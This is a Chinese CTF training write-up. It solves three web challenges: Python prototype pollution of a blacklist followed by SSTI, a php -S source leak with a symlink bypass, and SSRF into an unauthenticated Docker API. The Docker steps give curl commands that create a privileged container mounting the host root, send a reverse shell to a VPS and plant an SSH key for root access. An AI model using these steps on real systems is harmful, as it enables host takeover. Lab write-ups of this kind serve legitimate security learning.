训练赛
web
ezpython
从这边可以看到是python的原型链污染
可以直接污染掉对黑名单
1 | {"__globals__": {"param_black_list1": ["123"]}} |
然后打ssti即可
得到flag
压压压
第一个点是<=7.4.21的php -S开启的服务它有⼀个信息泄露的漏洞
https://www.cnblogs.com/Kawakaze777/p/17799235.html
空格是必要的,读出源码,开始审计
1 | <?php |
so,我们需要绕过这个点就需要使用软连接,
然链接:可以让两不同个文件夹访问同一个文件
1 | ln -s /var/www/html poc 创建一个软连接的文件 |
快逃
有一个ssrf漏洞,尝试探一下端口
可以看到是8080 80 ,2375端口存活
还有22端口也存活
2375端口比较特殊, Dockerapi未授权默认端⼝
方法:
利⽤dockerapi未授权+curl发包去创建一个特权容器,并将靶机的根目录挂载到这个容器中,以此控制靶机的文件系统
1.创建bash镜像
1 | curl -X POST "http://127.0.0.1:2375/images/create?fromImage=bash&tag=latest" |
注意是post方法
2.创建容器,挂载靶机根目录,并且将容器反弹到你的vps上
1 | curl -X POST "http://127.0.0.1:2375/containers/create" \ |
风险:容器内可直接修改宿主机文件系统(提权或破坏)这也是我们需要的。
3.启动容器
1 | curl -X POST "http://127.0.0.1:2375/containers/<容器ID>/start" |
弹到shell,
挂载到根目录获得主机的管理权限
我们可以通过ssh写入公钥登录
新建一个私钥
1 | ssh-keygen -t rsa -b 4096 -C "hacker@target" |
然后将输出的公钥写入root下的 .ssh/authorized_keys 中
1 | ssh -i ~/.ssh/id_rsa root@139.9.209.209 -p 10079 |
连接靶机,
flag在相关进程中
1 | ps aux |
看看上⾯的tmux的flagseesion
1 | tmux capture-pane -t flag_session -p |
解决
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 红烧花园宝宝!